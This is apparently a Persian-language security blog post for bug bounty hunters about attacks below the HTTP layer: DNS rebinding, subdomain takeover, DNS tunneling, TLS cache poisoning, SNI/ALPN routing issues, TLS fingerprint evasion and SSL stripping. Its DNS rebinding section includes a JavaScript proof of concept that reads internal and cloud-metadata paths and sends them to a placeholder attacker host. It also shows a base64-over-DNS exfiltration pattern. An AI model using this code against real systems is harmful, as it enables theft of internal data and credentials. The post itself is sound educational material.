· ۱۰ دقیقه مطالعه Sam حساب تأییدشده

Beyond HTTP

باگ هایی که با HTTP نمیبینی

HTTP Vulnerability

بیشتر هانترها وقتی میخوان کار پنتست یا باگ هانتینگ انجام بدن از BurpSuite استفاده میکند، کاملا هم طبیعی و معقوله اما نکته ای که توی استفاده از برپ هست اینه که برپ یه پروکسی HTTP هست، یعنی فقط درخواست هایی که از طریق پروتکل HTTP ردوبدل میشن رو میگیره، به همین خاطر ممکنه حواس هانتر از آسیب پذیری هایی که میتونه توی لایه های قبلی HTTP پیدا کنه پرت بشه.

توی این پست قصد دارم به طور سطحی به معرفی چند تا از این آسیب پذیری ها بپردازم که احتمال زیاد اسم بعضی هاشو مثل DNS Rebinding شنیدید ولی از یه سری هاش هم بی خبرید.

نقشه کلی مسیر

your browser
     │
     ├─ HTTP/2, HTTP/3 (QUIC over UDP)   ← Burp lives here, mostly
     ├─ TLS handshake (SNI, ALPN, certs)  ← before a single HTTP byte exists
     ├─ TCP handshake                     ← TCP
     ├─ DNS resolution                    ← DNS is "before HTTP" literally
     ├─ IP / routing / edge (CDN, LoadBalancer)

DNS Rebinding

اسم این آسیب پذیری رو احتمال زیاد خیلی جاها شنیدید و باهاش سروکله زدید.

توی وبسایت ها یه چیزی هست به اسم SOP یا Same-Origin Policy که کارش اینه که نزاره هر سایتی بتونه از یه سایت دیگه محتوا دریافت کنه. به عنوان مثال اگه سایت www.example.com رو داشته باشیم این سایت نمیتونه از سایت www.site.com محتوایی دریافت کنه چرا که SOP جلوش رو میگیره؛ اینکار باعث میشه توی یه سری آسیب پذیری ها مثل XSS یا CSRF که از طریق باز کردن یه آدرس مخرب توسط یوزر هم میتونن اکسپلویت بشن این اتفاق نیفته. اگه راجبش نخوندید میتونید توی گوگل سرچ بزنید.

بریم سروقت مطلب اصلی، این SOP که انقدر قوی داره از سایت محافطت میکنه میتونه با یه آسیب پذیری به اسم DNS Rebinding بایپس بشه، هر چند تنها استفاده ای که از این آسیب پذیری میشه این نیست.

نکته ای که هست اینه که SOP یه سیاست امنیتی هست و تاثیری روی IP که resolve میشه نداره. به همین خاطر ما میتونیم با تغییر DNS وقتی وب سرور قصد داره یه ریکورد ازش resolve کنه این سیاست امنیتی رو دور بزنیم.

اکسپلویت

فرض میکنیم وب اپلیکیشن یه قسمت داره که آسیب پذیره، قدم قدم بریم جلو ببینیم چه اتفاقی میفته:

  • توی قدم اول دامنه به IP سرور ما یه ریکوئست میزنه تا DNS record اش رو resolve کنه، اینجا همه چیز درست و معتبر به نظر میرسه و دامنه ریکورد متعلق به سرور رو به درستی resolve میکنه.
  • در قدم دوم میایم و ریکورد DNS رو عوض میکنیم، به عنوان مثال اگه وبسایت در اولین ریکوئست آیپی 1.2.3.4 رو گرفته این بار 127.0.0.1 رو میگیره و قبولش میکنه! اینجا مرورگر فکر میکنه داره با همون دامنه قبلی کار میکنه و مشکلی وجود نداره چون Origin همون قبلیه پس درخواست رو به 127.0.0.1 میفرسته
  • اینجاس که با درخواستی که به یکی از سرویس های اینترنال سرور زده میشه، مهاجم میتونه دیتایی که مدنظرش هست رو از سرور بکشه بیرون بدون اینکه SOP شکسته بشه.

برای اکسپلویت این آسیب پذیری هم میتونید سرور مجازی خودتون رو خریداری و کانفیگ کنید تا هر بار به یک IP اشاره کنه و هم میتونید از سرویس های آنلاینی که برای این کار وجود دارن استفاده کنید، یه سرچ سریع کافیه تا پیداشون کنید. نکته ای که باید مدنظرتون باشه اینه که نیاز هست DNS طوری تنظیم بشه تا سریع منقضی بشه و سرور نیاز پیدا کنه دوباره resolve اش کنه.

کاربردها

  • دور زدن SSRF:
  • دسترسی به متادیتای کلاودها
  • خواندن دیتا از سرویس های اینترنال و داخلی

JavaScript PoC

const REBIND_DOMAIN  = "myrebind.com";
const INTERNAL_PORT  = 80;
const COLLECTOR      = "https://attacker.example.com/leak";

const sleep = (ms) => new Promise(r => setTimeout(r, ms));

async function readInternal(path) {
  const url = `http://${REBIND_DOMAIN}:${INTERNAL_PORT}${path}`;
  try {
    const res  = await fetch(url);
    const body = await res.text();
    await fetch(`${COLLECTOR}?data=${encodeURIComponent(body)}`);
    console.log("[+] Exfiltrated:", body.slice(0, 200));
  } catch (err) {
    console.warn("[-] Failed:", err.message);
  }
}

(async () => {
  await sleep(1000);

  await readInternal("/");
  await readInternal("/latest/meta-data/");
  await readInternal("/server-status");    
})();

مرورگر میاد به myrebind.com ریکوئست میزنه و ریکورد DNS اش رو میگیره، بعد از مدتی وقتی TTL منقضی شد دوباره به همین دامین ریکوئست میزنه و این بار یه آدرس اینترنال میگیره، به عنوان مثال 127.0.0.1 و دیتای داخلی هدف رو میگیره.

Subdomain Takeover

گاهی اوقات پیش میاد وبسایت ها، ساب دامین های موقتی که میسازن رو به سرویس های ابری متصل میکنن، مثل مثال زیر:

legacy.company.com  CNAME  →  heritage-account.azurewebsites.net

فرض کنید ساب دامین legacy.company.com یه ریکورد CNAME داره به آدرس سرویس ابری اشاره میکنه.

حالا تصور کنید اون سرویس ابری به هر دلیلی (حذف حساب کاربری، تغییر نام یا آدرس، حذف باکت…) از بین بره، در این حالت CNAME ای که به اون سرویس اشاره میکرد هنوز سرجاشه، ولی به مقصدی اشاره میکنه که دیگه وجود نداره، به این حالت در اصطلاح میگن CNAME Dangling.

مهاجم میره همون سرویس ابری با همون مشخصات و آدرس رو میگیره و چیزهایی که میخوادو روش میزاره، تمام! ساب دامین کامل در اختیار مهاجم در میاد.

حالا legacy.company.com به جایی اشاره میکنه که تحت کنترل مهاجمه.

چرا قضیه جدیه؟

از اونجایی که ساب دامین تحت کنترل مهاجمه علاوه بر اینکه میتونه محتوای اون ساب دامین رو کاملا تغییر بده، به کوکی هایی که دسترسی بهشون از طریق سرویس های third-party ممکن نیست هم دسترسی پیدا میکنه، میتونه از این ساب دامین برای انجام فیشینگ سوءاستفاده کنه، فیلتر های XSS و CSP رو دور بزنه یا حتی در بعضی موارد کد دلخواه خودش رو در سرور اجرا کنه یعنی RCE.

چطور پیدا میشه؟

کافیه بعد از پیدا کردن ساب دامین های وبسایت، ریکورد CNAME هر کدوم رو بگیرید:

dig CNAME www.company.com

اگه ریکورد CNAME وجود داره ولی به جایی اشاره میکنه که ریکورد A نداره، احتمال وجود این آسیب پذیری هست.

DNS Tunneling / Exfiltration

DNS، برخلاف HTTP، در بیشتر شبکه‌های سازمانی بازه، چون همهٔ سیستم‌ها برای resolve کردن دامنه بهش نیاز دارند. فایروال‌ها معمولاً همهٔ پورت‌ها رو می‌بندند، ولی پورت ۵۳ (UDP) رو برای DNS باز میزارن. همین یعنی یه کانال که تقریباً هیچکس چکش نمیکنه.

مهاجم از این قضیه استفاده میکنه و سناریوهای پایینو پیاده میکنه.

کاربردها

  • Exfiltration: دیتا رو به شکل مخفی از طریق DNS بیرون میکشیم.
EXFL-{base64}.evildomain.com

سرور کوئری رو میگیره، عبارت base64 شده رو دیکد میکنه و دیتا رو جمع آوری میکنه، هیچ درخواست HTTP بوجود نمیاد.

  • Tunneling: با استفاده از یک کانال که روی DNS ایجاد میشه و کوئری های TXT (عموما) کامندها به سرور فرستاده، اجرا میشه و پاسخش از همین طریق برمیگرده.

TLS Poisoning / Cache Poisoning via TLS

ایده اصلی این وبسایت اینه:

فرض میکنیم وبسایت هدف ما از یه Cache استفاده میکنه(مثل کشی که CDN ها ارائه میدن)، این کش طوری تنظیم شده تا ریکوئست هایی که با اتصال ناامن دریافت میشن رو ذخیره نکنه، یعنی براساس اینکه ریکوئست امنه یا نه تصمیم میگیره ریسپانس رو کش کنه؛

حالا در این حالت اگه مهاجم بتونه رفتار لایه TLS رو دستکاری کنه و منجر بشه یه خطا مثل 403 بوجود بیاد، میتونه این ریسپانس رو در کش ذخیره کنه که در نتیجش ممکنه تعداد زیادی از کاربرای سایت با خطای 403 مواجه بشن.

نکته ای که توی این حمله وجود داره اینه که حمله در لایه TLS انجام میشه ولی اثرش در لایه HTTP دیده میشه.

SNI/ALPN

Server Name Indication (SNI)

وقتی کلاینت میخواد با سرور کانکشن ایجاد کنه قبل از اینکه حتی یک درخواست HTTP ارسال بشه، یه اتصال TLS برقرار میشه و Client Hello ارسال میشه؛ توی این اتصال فیلدی هست به اسم Server Name Indication که به سرور میگه “من میخوام به فلان هاست متصل بشم پس سرتیفیکیت SSL اون رو بهم بده”

SNI

با فیلتر زیر توی وایرشارک میتونید پیداش کنید:

tls.handshake.extensions_server_name

اما چرا مهمه؟

CDN و Load Balancer بر اساس SNI تصمیم می‌گیرند درخواست رو به کدوم origin (سرور پشتی) هدایت کنند، قبل از اینکه Host header مطرح بشه.

همین جدا بودن SNI و Host header منبع بوجود اومدن یه سری Host Header Attack هاست.

زیرساخت (مثل CDN) بر اساس SNI روتینگ میکنه ولی وب اپلیکیشن به Host header اعتماد میکنه؛ در نتیجه مهاجم میتونه با استفاده از Host درخواست رو به سمت جایی ببره که براش ساخته نشده و فرآیند روتینگ اپلیکیشن رو به طور کلی مختل کنه.

Application-Layer Protocol Negotiation (ALPN)

توی همون TLS-handshake که اتفاق میفته یه فیلد دیگه هست به اسم ALPN که مسئول انتخاب اینه که ارتباط با http/2 انجام بشه یا http/1.1، یعنی انتخاب ورژن HTTP قبل از اینکه اتصال HTTP انجام بشه.

اگه یه لایه یا گره درخواست رو به شکل http/1.1 بفرسته و لایه بعدی با http/2 بخونه یا برعکس، توی فریمینگ اختلاف پیش میاد که میتونه منجر به آسیب پذیری هایی مثل HTTP request smuggling بشه.

TLS Fingerprinting — JA3 & JA4

همونطور که میدونید هر کلاینت موقع TLS-handshake یه Client Hello میفرسته که شامل اطلاعات و جزئیات زیادیه، مثل نسخه Cipher suite، TLS ها، extenstionها و … و ترتیبشون، این ترکیب مثل اثر انگشته، یکتا برای هر کلاینت.

  • JA3 — اولین و معروف‌ترین hash ساخته‌شده از این ClientHello
  • JA4 — نسل جدیدتر؛ پایدارتر و کم‌خطاتر. فرمتش:
JA4 = Protocol + Cipher + Extensions

با فیلتر زیر توی وایرشارک میتونید ببینیدش:

tls.handshake.type == 1

چرا برای امنیت مهمه؟

خیلی از CDN ها و فایروال ها توی همون مراحل اولیه TLS بر اساس اینکه رفتار کلاینت شبیه انسانه یا ربات/اسکنر تصمیم میگیرن اکسپتش کنن، چالش بهش بدن (مثل حل کپچا) یا بلاکش کنن.

مهاجم میتونه با شبیه کردن درخواستش به JA3 یا JA4 و تولید سینتکس اونها این محدودیت ها رو دور بزنه و با خیال راحت کاری که میخواد رو انجام بده.

گاهی اوقات وقتی پیلودی که روی سایت وارد میکنید بلاک میشه ممکنه بخاطر اثر این لایه باشه

SSL Stripping — Downgrade to HTTP

همه میدونیم استفاده از HTTPS امنیت بیشتری داره ولی چند تا حالت هست که ممکنه اتصال رو به HTTP برگردونه:

  • یوزر URL رو بدون https:// تایپ کنه
  • صفحه لینک یا ریدایرکتی به صفحه ای با پروتکل http داشته باشه
  • منابع و ریسورس های صفحه از روی http لود بشن

در نتیجه مهاجم میتونه از روی پروتکل http که اطلاعات رو رمزنگاری نمیکنه یه حمله MITM انجام بده و تغییرات خودش رو در ریکوئست ایجاد کنه یا دیتایی که میخوادو بدزده.

این یه باگ در لایه اپلیکیشن نیست و توی لایه های قبلی اتفاق میفته و در پنتست و باگ هانتینگ اهمیتی نداره ولی توی مباحث Red Team مهمه بدونید چرا فقط HTTPS بودن کافی نیست.

ممکنه مهاجم با استفاده از ضعفی که اینجا به وجود میاد بتونه سسشن یا کوکی های حساس رو بدزده و ازشون سوء استفاده کنه

جمع بندی

در کل قرار نیست همه مواردی که گفته شد توی پنتست اهمیت داشته باشن ولی به هر حال ضعف امنیتی محسوب میشن و نبودشون امنیت سازمان رو بالاتر میبره.

ما زیاد دیپ نشدیم، اگه سوالی توی ذهنتون بود میتونید بیشتر تحقیق کنید و آشناییتون رو به یه سطح حرفه ای برسونید.

← Back to blog